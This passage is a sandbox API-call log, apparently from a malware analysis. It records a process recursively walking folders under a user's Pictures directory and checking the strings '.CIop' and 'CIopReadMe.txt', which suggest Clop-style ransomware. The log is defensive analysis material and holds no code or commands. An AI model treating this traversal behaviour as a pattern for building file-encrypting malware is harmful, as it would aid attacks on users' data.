lpFindFileData=0x2dc2708) returned 1 [0148.752] lstrcmpW (lpString1="xDtCMA3q", lpString2="..") returned 1 [0148.752] lstrcmpW (lpString1="xDtCMA3q", lpString2=".") returned 1 [0148.752] lstrcpyW (in: lpString1=0x2dc2d68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0148.752] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0148.752] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\", lpString2="xDtCMA3q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" [0148.752] SetErrorMode (uMode=0x1) returned 0x1 [0148.752] lstrcpyW (in: lpString1=0x2dc1950, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" [0148.752] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" [0148.752] lstrcpyW (in: lpString1=0x2dc1540, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" [0148.752] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*" [0148.752] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*", lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0x67e0f8 [0148.752] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="xDtCMA3q" [0148.752] lstrcpyW (in: lpString1=0x2dbff34, lpString2="xDtCMA3q" | out: lpString1="xDtCMA3q") returned="xDtCMA3q" [0148.752] lstrlenW (lpString=".CIop") returned 5 [0148.752] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.752] lstrlenW (lpString=".CIop") returned 5 [0148.752] lstrlenW (lpString=".CIop") returned 5 [0148.752] lstrlenW (lpString=".CIop") returned 5 [0148.752] lstrcpyW (in: lpString1=0x2dc1950, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" [0148.752] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*" [0148.752] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*", lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0x67dc38 [0148.752] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="xDtCMA3q" [0148.752] lstrcpyW (in: lpString1=0x2dbff34, lpString2="xDtCMA3q" | out: lpString1="xDtCMA3q") returned="xDtCMA3q" [0148.752] lstrcpyW (in: lpString1=0x2dc1130, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" [0148.753] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" [0148.753] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\", lpString2="J7dCVSJUmB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" [0148.753] SetErrorMode (uMode=0x1) returned 0x1 [0148.753] lstrcpyW (in: lpString1=0x2dbfd18, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" [0148.753] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" [0148.753] lstrcpyW (in: lpString1=0x2dbf908, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" [0148.753] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*" [0148.753] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*", lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 0x67e2b8 [0148.753] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="J7dCVSJUmB" [0148.753] lstrcpyW (in: lpString1=0x2dbe2fc, lpString2="J7dCVSJUmB" | out: lpString1="J7dCVSJUmB") returned="J7dCVSJUmB" [0148.753] lstrlenW (lpString=".CIop") returned 5 [0148.753] lstrlenW (lpString=".CIop") returned 5 [0148.753] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.753] lstrlenW (lpString=".CIop") returned 5 [0148.753] lstrcpyW (in: lpString1=0x2dbfd18, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" [0148.753] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*" [0148.753] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*", lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 0x67e2b8 [0148.753] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="J7dCVSJUmB" [0148.753] lstrcpyW (in: lpString1=0x2dbe2fc, lpString2="J7dCVSJUmB" | out: lpString1="J7dCVSJUmB") returned="J7dCVSJUmB" [0148.753] lstrcpyW (in: lpString1=0x2dbf4f8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" [0148.753] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" [0148.753] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\", lpString2="7Luf9iKqys 6" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" [0148.753] SetErrorMode (uMode=0x1) returned 0x1 [0148.753] lstrcpyW (in: lpString1=0x2dbe0e0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" [0148.753] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\" [0148.754] lstrcpyW (in: lpString1=0x2dbdcd0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\" [0148.754] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*" [0148.754] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*", lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 0x67e0f8 [0148.754] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="7Luf9iKqys 6" [0148.754] lstrcpyW (in: lpString1=0x2dbc6c4, lpString2="7Luf9iKqys 6" | out: lpString1="7Luf9iKqys 6") returned="7Luf9iKqys 6" [0148.754] lstrlenW (lpString=".CIop") returned 5 [0148.754] lstrlenW (lpString=".CIop") returned 5 [0148.754] lstrcpyW (in: lpString1=0x2dbe0e0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" [0148.754] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*" [0148.754] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*", lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 0x67db78 [0148.754] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="7Luf9iKqys 6" [0148.754] lstrcpyW (in: lpString1=0x2dbc6c4, lpString2="7Luf9iKqys 6" | out: lpString1="7Luf9iKqys 6") returned="7Luf9iKqys 6" [0148.754] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0148.754] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0148.754] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 0 [0148.754] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0148.754] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0148.754] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0148.754] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0 [0148.755] FindClose (in: hFindFile=0x67dc38 | out: hFindFile=0x67dc38) returned 1 [0148.755] FindClose (in: hFindFile=0x67dc38 | out: hFindFile=0x67dc38) returned 0 [0148.755] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0148.755] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 1 [0148.755] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 0 [0148.755] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.755] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.755] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0148.755] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 1 [0148.755] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 0 [0148.755] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0148.755] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 1 [0148.755] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 0 [0148.755] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.755] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.755] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0148.756] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0148.756] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.756] lstrcmpW (lpString1="bLdID5XJzq jCM", lpString2="..") returned 1 [0148.756] lstrcmpW (lpString1="bLdID5XJzq jCM", lpString2=".") returned 1 [0148.756] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0148.756] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0148.756] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="bLdID5XJzq jCM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" [0148.756] SetErrorMode (uMode=0x1) returned 0x1 [0148.756] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" [0148.756] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\" [0148.756] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\" [0148.756] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*" [0148.756] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e0b8 [0148.756] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="bLdID5XJzq jCM" [0148.756] lstrcpyW (in: lpString1=0x2dc7014, lpString2="bLdID5XJzq jCM" | out: lpString1="bLdID5XJzq 